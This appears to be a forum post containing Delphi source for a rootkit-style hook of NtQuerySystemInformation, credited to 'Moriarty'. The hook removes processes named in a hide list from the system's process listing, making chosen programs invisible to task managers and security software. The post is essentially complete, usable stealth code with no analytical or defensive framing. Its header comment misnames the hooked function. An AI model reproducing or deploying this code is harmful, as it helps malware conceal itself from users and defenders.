01-01-2019, 03:24 PM
(*
- NtQueryDirectoryFile Hook
- Moriarty
- Checks if a hidden file is in the process list. if so, remove from list.
- [Process Hide]
*) unit uNtQuerySystemInformation;
(*
- NtQueryDirectoryFile Hook
- Moriarty
- Checks if a hidden file is in the process list. if so, remove from list.
- [Process Hide]
*)
interface
uses Windows, uNTConstants, LOMLib;
type
PProcessInfo = ^TProcessInfo;
TProcessInfo = record
dwOffset: dword; // an offset to the next Process structure
dwThreadCount: dword;
dwUnkown1: array[0..5] of dword;
ftCreationTime: TFileTime;
dwUnkown2: dword;
dwUnkown3: dword;
dwUnkown4: dword;
dwUnkown5: dword;
dwUnkown6: dword;
pszProcessName: PWideChar;
dwBasePriority: dword;
dwProcessID: dword;
dwParentProcessID: dword;
dwHandleCount: dword;
dwUnkown7: dword;
dwUnkown8: dword;
dwVirtualBytesPeak: dword;
dwVirtualBytes: dword;
dwPageFaults: dword;
dwWorkingSetPeak: dword;
dwWorkingSet: dword;
dwUnkown9: dword;
dwPagedPool: dword; // kbytes
dwUnkown10: dword;
dwNonPagedPool: dword; // kbytes
dwPageFileBytesPeak: dword;
dwPageFileBytes: dword;
dwPrivateBytes: dword;
dwUnkown11: dword;
dwUnkown12: dword;
dwUnkown13: dword;
dwUnkown14: dword;
ThreadInfo: dword; // Thread list
end;
var
MainNtQuerySystemInformation: function(dt: dword; buf: pointer; bufsize: dword; retlen: pointer): dword; stdcall;
szProcessHide : TStrList;
function HookNtQuerySystemInformation(dt: dword; buf: pointer; bufsize: dword; retlen: pointer): dword; stdcall;
implementation
{const
hide_process = 'chrome.exe';}
(******************************************************************************************************************************************)
function HookNtQuerySystemInformation(dt: dword; buf: pointer; bufsize: dword; retlen: pointer): dword; stdcall;
type
TBA = array[0..1000000] of byte;
PBA = ^TBA;
var
tmpbuf: PBA;
Pinfo, LastPinfo: PProcessInfo;
cp: DWORD;
curproc: string;
i: integer;
bHideProcess: Boolean;
begin
Result := MainNtQuerySystemInformation(dt, buf, bufsize, retlen);
if dt <> 5 then exit;
if result <> 0 then exit;
cp := 0;
tmpbuf := buf; LastPinfo := nil;
repeat
Pinfo := PProcessInfo(@tmpbuf[cp]);
curproc := WideCharToString(pinfo^.pszProcessName);
bHideProcess := false;
for i := 0 to szProcessHide.Count - 1 do
begin
if curproc = szProcessHide.Strings[i] then
begin
bHideProcess := true; Break;
end;
end;
//if Pos(hide_process, curproc) > 0 then bHideProcess := true;
if bHideProcess = true then
begin
if pinfo^.dwOffset = 0 then
begin
LastPinfo^.dwOffset := 0; exit;
end
else
LastPinfo^.dwOffset := LastPinfo^.dwOffset + pinfo.dwOffset;
end else
begin
LastPinfo := Pinfo;
end;
cp := cp + Pinfo^.dwOffset;
until Pinfo^.dwOffset = 0;
end;
(******************************************************************************************************************************************)
end.[/i]